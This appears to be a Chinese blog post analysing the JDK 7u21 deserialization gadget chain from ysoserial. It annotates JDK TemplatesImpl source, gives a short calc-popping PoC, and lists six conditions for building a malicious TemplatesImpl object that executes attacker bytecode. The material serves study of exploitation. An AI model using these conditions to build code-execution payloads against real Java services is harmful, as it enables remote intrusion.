java 7u21_java培训班 | JDK反序列化Gadgets-7u21

从fastjson1.24版本的反序列化利用方式知道有使用jdk7u21的版本利用链,ysoserial利用工具中也有7u21利用链。现在都是7u80版本了,这个漏洞真正直接利用,估计已经很难找到了。

但是这个利用链的构造有很多之前没接触过的java特性,就此好好学习一下,也算是fastjson的前置知识吧。

先去Oracle官网下载漏洞jdk版本7u21,漏洞影响7u25之前的版本,整条链poc貌似只适用于7u21以前。

之所以说这是JDK反序列化链,是因为这个链中所有利用类都是jdk自带的类,其中payload最终关键类是    com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类。

我们从ysoserial源码中抠出7u21的利用代码来分析,具体代码由于比较长,不全部在此贴出,只截取需要的部分,所有代码已上传github。

jdk7u21.java是一个包含基础核心原理POC。(Gadgets类参考github,或者可以去ysoserial中取)

public static void main(String[] args) throws Exception {TemplatesImpl calc = (TemplatesImpl) Gadgets.createTemplatesImpl("calc");//生成恶意的calccalc.getOutputProperties();//调用getOutputProperties就可以执行calc}

请注意TemplatesImpl类的getOutputProperties函数是一个以get开头的函数,这是这个利用链在fastjson组件利用的关键。

跟踪getOutputProperties方法,来确认恶意TemplatesImpl类calc 需要的条件,先看调用栈:

2b85f2320a52a23cad84bc40bb1d3ca9.png

newInstance

从调用栈中,可见最后是obj.newInstance(obj是虚指)触发poc执行恶意代码,调用栈再往下之后就是java class类的newInsatance内部实现了,不细纠。

newinstance实例化会默认触发执行static方法,构造方法代码,如下:

a90289aa900830a5a5b9d7e7bdd67e0e.png

所以我们的payload需要放在最后执行的恶意类的static或构造方法中。知道这点后,我们从头开始慢慢寻找其他需要条件。

跟入TemplatesImpl类的getOutputProperties方法:

public synchronized Properties getOutputProperties() {        try {            return newTransformer().getOutputProperties();//我们进入newTransformer方法}        catch (TransformerConfigurationException e) {            return null;}}

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer方法

public synchronized Transformer newTransformer()throws TransformerConfigurationException    {TransformerImpl transformer;transformer = new TransformerImpl(getTransletInstance(), _outputProperties,_indentNumber, _tfactory);//此处没有啥限制条件,进入getTransletInstance()if (_uriResolver != null) {transformer.setURIResolver(_uriResolver);}        if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {transformer.setSecureProcessing(true);}        return transformer;}

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance方法

private Translet getTransletInstance()throws TransformerConfigurationException {        try {            //限制条件1:TemplatesImpl类中的_name变量!=nullif (_name == null) return null;           //限制条件2:TemplatesImpl类中的_class变量==nullif (_class == null) defineTransletClasses();//进入此处,查看其他限制条件// 漏洞触发代码就是下面这一行,_transletIndex是在defineTransletClasses()中赋值的,其实就是选取了一个特定条件的class获取它的实例。AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();...//这里之后的代码不重要,省略return translet;}        catch (InstantiationException e) {ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);

在漏洞代码执行AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();前,

先经过com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses方法

private void defineTransletClasses()throws TransformerConfigurationException {        //限制条件3:TemplatesImpl类中的_bytecodes变量!=nullif (_bytecodes == null) {ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);            throw new TransformerConfigurationException(err.toString());}        //引入加载器TransletClassLoader loader = (TransletClassLoader)AccessController.doPrivileged(new PrivilegedAction() {                public Object run() {                    return new//限制条件4:TemplatesImpl类中的_tfactory变量需要有一个getExternalExtensionsMap方法//           即需要是一个TransformerFactoryImpl类TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());}});        try {            //以下主要做的事情是通过加载器从_bytecodes中加载类至_class。(bytecodes可以是一个数组转换为一个数组class)final int classCount = _bytecodes.length;_class = new Class[classCount];            if (classCount > 1) {_auxClasses = new Hashtable();}            for (int i = 0; i < classCount; i++) {                //转化。ClassLoader.defineClass() 会转载javabyte变为class类,但是不会执行static代码。_class[i] = loader.defineClass(_bytecodes[i]);                //获取转过来的class的父类final Class superClass = _class[i].getSuperclass(); // 对于读取进来的class的父类进行限制,满足条件才改变_transletIndex的值// 之后将获取class[_transletIndex]的实例// ABSTRACT_TRANSLET="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";// 限制条件5:_bytecodes的类必须是ABSTRACT_TRANSLET的子类if (superClass.getName().equals(ABSTRACT_TRANSLET)) {_transletIndex = i;}                else {_auxClasses.put(_class[i].getName(), _class[i]);}}            if (_transletIndex < 0) {ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);                throw new TransformerConfigurationException(err.toString());}}        catch (ClassFormatError e) {ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);            throw new TransformerConfigurationException(err.toString());}        catch (LinkageError e) {ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);            throw new TransformerConfigurationException(err.toString());}}

_tfactory 与jdk版本

其中的限制条件4 _tfactory 这个参数是有说法的,在其他人博客中有存在对于 _tfactory 的参数的说明:

因为代码中存在 _tfactory.getExternalExtensionsMap() 所以需要 _tfactory 进行赋值 不能为null。

但其实这跟jdk版本是有关的,1.7下不同的jdk版本这段代码是不同的。

1.7u80版本的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses中就是存在_tfactory.getExternalExtensionsMap()这句代码的。

d5d9d537d2dc4a72ce82ad75b5675f35.png

在1.7u80中,注释Gadgets类中添加 _tfactory这个字段的代码后(之后我们将详细分析Gadgets类),_tfactory=null就会发生null指针报错。

d600cc8df6a4e6c891d221006100f5dd.png

细心的同学可以注意到上面jdk1.7u80两个弹框成功不成功的下方都会null指针报错。

但是前者是在执行恶意代码AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();后

的translet.postInitialization();处报错。

而后者是在恶意代码执行之前的defineTransletClasses函数报错。即没有成功执行payload

在同样注释_tfactory这个字段的代码的情况下,使用jdk1.7u21的环境,却可以成功执行,因为jdk1.7u21的情况下并没有_tfactory.getExternalExtensionsMap()这句代码。

08290cedf6774a9ba07271a69d60a385.png

但是1.7u21也可以兼容给_tfactory赋值的情况,所以还是给 _tfactory 赋值比较好,可以兼容不同的版本。

TemplatesImpl恶意类的限制条件

至此总结我们构筑一个恶意的TemplatesImpl类,在调用这个恶意类的getOutputProperties方法时,需要满足的限制条件。即,构筑恶意TemplatesImpl类的需要条件。

1.TemplatesImpl类的 _name 变量 != null

2.TemplatesImpl类的_class变量 == null

3.TemplatesImpl类的 _bytecodes 变量 != null

4.TemplatesImpl类的_tfactory需要是一个拥有getExternalExtensionsMap()方法的类,使用jdk自带的TransformerFactoryImpl类

5.TemplatesImpl类的_bytecodes是我们代码执行的类的字节码。_bytecodes中的类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类

6.我们需要执行的恶意代码写在_bytecodes 变量对应的类的静态方法或构造方法中。

注释:部分内容来自公众号雷神众测

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值